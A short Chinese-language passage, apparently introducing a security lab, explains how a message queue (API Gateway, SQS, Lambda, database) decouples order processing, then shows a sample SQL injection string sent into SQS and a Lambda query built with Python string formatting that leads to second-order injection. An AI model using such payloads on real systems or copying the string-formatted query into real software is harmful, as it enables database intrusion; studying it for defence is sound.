一个用户在 电商网站下单之后 服务器可能要经过 应用服务器或许要进行很多更新数据库的操作。但是如果网站的访问量很大的话。 一但某个地方出问题,或者程序处理订单的时间需要很长。导致用户等待结果的时间非常长 导致 用户体验不好。

但是如果在这中间加一个消息队列

用户下单之后信息 都进入到队列中 ,然后后续的各个操作从队列中取出 信息进行处理。虽然这些操作都不是实时的, 但是能保证这些操作最终都能被执行

"API网关 -> SQS -> Lambda->DB" 这种 架构在注重可扩展性与容错性的的系统中被广泛采用

如果我们构造了一个恶意的语句并将其发送到SQS消息队列中, 比如' select database(); -- a

这可能不会立刻出现SQL注入漏洞

但是当后面某些函数需要对这些数据进行处理并与数据库进行交互的时候,那么这个时候 就可能会导致二次注入

在这个Labs 当中. 我们将Client、Weight、 trackingID信息发送到消息队列中。 然后Lambda服务 执行类似select * from TrackingData where clientName = "{}" .format(clientName)的语句 从数据库中查询数据。